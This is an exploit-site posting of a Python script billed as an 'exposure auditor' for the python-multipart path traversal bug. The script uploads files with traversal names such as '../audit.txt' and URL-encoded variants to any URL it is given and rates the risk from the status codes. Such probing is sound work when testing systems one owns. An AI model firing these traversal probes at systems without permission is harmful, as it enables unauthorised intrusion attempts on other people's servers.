Share
## https://sploitus.com/exploit?id=PACKETSTORM:222997
==================================================================================================================================
    | # Title     : Python-Multipart 0.0.22 Path Traversal Vulnerability โ€“ Exploit Toolkit Exposure Auditor                          |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://github.com/Kludex/python-multipart                                                                       |
    ==================================================================================================================================
    
    [+] Summary    : This code bundle contains two separate components related to the path traversal vulnerability affecting Python-Multipart versions prior to 0.0.22.
    
    [+] POC        :  
    
    
    #!/usr/bin/env python3
    
    import requests
    import os
    import sys
    import argparse
    import time
    import json
    from urllib.parse import urlparse
    
    BANNER = """
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘   Python-Multipart Exposure Auditor                              โ•‘
    โ•‘   Focus: Defensive Validation & Misconfiguration Detection       โ•‘
    โ•‘   Type: Exposure Assessment                                      โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    """
    
    SAFE_TEST_CONTENT = "AUDIT_TEST_CONTENT"
    
    class PythonMultipartAuditor:
    
        def __init__(self, target_url, verbose=False, timeout=10):
            self.target_url = target_url.rstrip("/")
            self.verbose = verbose
            self.timeout = timeout
            self.session = requests.Session()
            self.session.headers.update({
                "User-Agent": "Multipart-Auditor/1.0"
            })
            self.results = {
                "target": target_url,
                "checks": [],
                "risk": "UNKNOWN"
            }
        def log(self, msg, level="INFO"):
            colors = {
                "INFO": "\033[94m[*]\033[0m",
                "SUCCESS": "\033[92m[+]\033[0m",
                "WARNING": "\033[93m[!]\033[0m",
                "ERROR": "\033[91m[-]\033[0m"
            }
            print(f"{colors.get(level,'[*]')} {msg}")
        def add_result(self, check, status, details):
            self.results["checks"].append({
                "check": check,
                "status": status,
                "details": details
            })
        def get_safe_payloads(self):
            return [
                "../audit.txt",
                "../../audit.txt",
                "../../../audit.txt",
                "..\\audit.txt",
                "%2e%2e%2faudit.txt",
                "....//audit.txt",
                "/tmp/audit.txt",
                "./audit.txt"
            ]
        def upload_probe(self, filename):
            files = {
                "file": (
                    filename,
                    SAFE_TEST_CONTENT,
                    "text/plain"
                )
            }
            try:
                response = self.session.post(
                    self.target_url,
                    files=files,
                    timeout=self.timeout
                )
                return response
            except Exception as e:
                self.log(f"Request failed: {e}", "ERROR")
                return None
        def check_baseline(self):
            self.log("Baseline upload check")
            response = self.upload_probe("audit.txt")
            if not response:
                self.add_result(
                    "baseline",
                    "ERROR",
                    "No response"
                )
                return
            self.add_result(
                "baseline",
                "OK",
                f"HTTP {response.status_code}"
            )
    
        def check_traversal_normalization(self):
            self.log("Testing filename normalization")
            suspicious = []
            for payload in self.get_safe_payloads():
                response = self.upload_probe(payload)
                if not response:
                    continue
                detail = {
                    "payload": payload,
                    "status": response.status_code
                }
                if response.status_code < 500:
                    suspicious.append(detail)
                if self.verbose:
                    self.log(
                        f"{payload} -> {response.status_code}"
                    )
                time.sleep(0.2)
            if suspicious:
                self.add_result(
                    "path_normalization",
                    "REVIEW",
                    suspicious
                )
            else:
                self.add_result(
                    "path_normalization",
                    "OK",
                    "No unusual behavior observed"
                )
        def check_headers(self):
            self.log("Checking response headers")
            try:
                r = self.session.get(
                    self.target_url,
                    timeout=self.timeout
                )
                findings = {}
                findings["server"] = r.headers.get("Server")
                findings["content_type"] = r.headers.get("Content-Type")
                self.add_result(
                    "headers",
                    "INFO",
                    findings
                )
            except Exception:
                self.add_result(
                    "headers",
                    "ERROR",
                    "Header collection failed"
                )
        def calculate_risk(self):
            review_count = sum(
                1 for x in self.results["checks"]
                if x["status"] == "REVIEW"
            )
            if review_count >= 2:
                self.results["risk"] = "HIGH"
            elif review_count == 1:
                self.results["risk"] = "MEDIUM"
            else:
                self.results["risk"] = "LOW"
        def export_report(self, output):
            with open(output, "w") as f:
                json.dump(
                    self.results,
                    f,
                    indent=2
                )
            self.log(
                f"Report saved: {output}",
                "SUCCESS"
            )
        def audit(self):
    
            self.check_baseline()
            self.check_traversal_normalization()
            self.check_headers()
            self.calculate_risk()
            return self.results
    
    
    def main():
    
        parser = argparse.ArgumentParser(
            description="Python-Multipart Exposure Auditor"
        )
        parser.add_argument(
            "-u",
            "--url",
            required=True
        )
        parser.add_argument(
            "--test",
            action="store_true",
            help="Run audit checks"
        )
        parser.add_argument(
            "--list-payloads",
            action="store_true"
        )
        parser.add_argument(
            "--report",
            help="Export JSON report"
        )
        parser.add_argument(
            "-v",
            "--verbose",
            action="store_true"
        )
        args = parser.parse_args()
        print(BANNER)
        auditor = PythonMultipartAuditor(
            args.url,
            args.verbose
        )
        if args.list_payloads:
            for p in auditor.get_safe_payloads():
                print(p)
            return
        if args.test:
            result = auditor.audit()
            print(
                json.dumps(
                    result,
                    indent=2
                )
            )
            if args.report:
                auditor.export_report(
                    args.report
                )
            return
        parser.print_help()
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================